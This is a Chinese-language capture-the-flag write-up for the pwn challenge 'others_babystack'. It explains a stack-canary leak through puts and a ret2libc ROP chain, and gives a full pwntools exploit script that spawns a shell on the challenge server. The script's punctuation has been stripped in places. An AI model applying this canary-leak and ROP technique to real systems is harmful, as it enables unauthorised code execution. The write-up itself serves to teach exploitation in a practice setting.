others_babystack1
首先checksec检查保护机制-64位程序-重点看到开了栈溢出保护和栈不可执行保护然后来到IDA里面看到反汇编代码这个函数点进去用gdb测试下来就是输入1可以储存payload输入2打印payload输入3退出程序这里看到利用case2和case1就可以泄露出canary的值因为puts函数的特性是遇到\x00才会停止输出会一直打印内存中的数据直到碰到空字节而canary的最低字节就是\x00离s变量也是最近的所以我们可以将canary的最低字节覆盖这样就可以让puts把canary的值一并打印出来由下面这张图可以看到s离rsp的距离为0x10个字节v6里rsp的距离为0x98字节所以我们只需要构造长度为0x89的payload即可精准覆盖掉canary的最低位处的\x00字节然后由于没有发现任何后门函数和地址只能通过泄露libc的方法来做这道题这就需要构造rop链了可以通过以下指令拿到ret和pop_rdi的地址ROPgadget --binary pwn --only pop|ret然后还需要去IDA中拿到main函数的地址这里就不演示了然后这道题还有一个需要注意的地方这里发现payload泄露puts函数地址的时候需要输入3退出循环才能拿到puts函数的地址这时候main函数的地址就可以发挥作用可以让我们再次进入循环以再次触发栈溢出io.recvuntil(b) io.sendline(b1) payload bC*0x88 p64(canary) bC*0x8 p64(rdi_addr) p64(puts_got) p64(puts_plt) p64(main_addr) io.sendline(payload) io.recvuntil(b) io.sendline(b3)然后拿到puts函数地址后就是计算libc基址进而计算处system和/bin/h地址了然后下面是exp脚本from pwn import * from LibcSearcher import LibcSearcher context(archamd64, oslinux, log_leveldebug) #io process(./pwn) # 在本地运行程序。 #gdb.attach(io) # 启动 GDB io connect(node5.buuoj.cn,29236) # 与在线环境交互。 offset 0x89 ret_addr 0x40067e rdi_addr 0x400a93 main_addr 0x400908 elf ELF(./pwn) puts_got elf.got[puts] puts_plt elf.plt[puts] io.recvuntil(b) io.sendline(b1) payload ba*(offset-2) bbc io.send(payload) io.recvuntil(b) io.sendline(b2) io.recvuntil(baaabc) canary u64(io.recv(7).rjust(8,b\x00)) print(hex(canary)) io.recvuntil(b) io.sendline(b1) payload bC*0x88 p64(canary) bC*0x8 p64(rdi_addr) p64(puts_got) p64(puts_plt) p64(main_addr) io.sendline(payload) io.recvuntil(b) io.sendline(b3) puts_addr io.recvline().strip() puts_addr u64(puts_addr.ljust(8,b\x00)) print(hex(puts_addr)) libc LibcSearcher(puts,puts_addr) libc_base puts_addr - libc.dump(puts) system_addr libc_base libc.dump(system) bin_sh_addr libc_base libc.dump(str_bin_sh) io.recvuntil(b) io.sendline(b1) payload bC*0x88 p64(canary) bC*0x8 p64(ret_addr) p64(rdi_addr) p64(bin_sh_addr) p64(system_addr) p64(main_addr) io.sendline(payload) io.recvuntil(b) io.sendline(b3) io.interactive()最后拿到flag

相关新闻

最新新闻

日新闻

周新闻

月新闻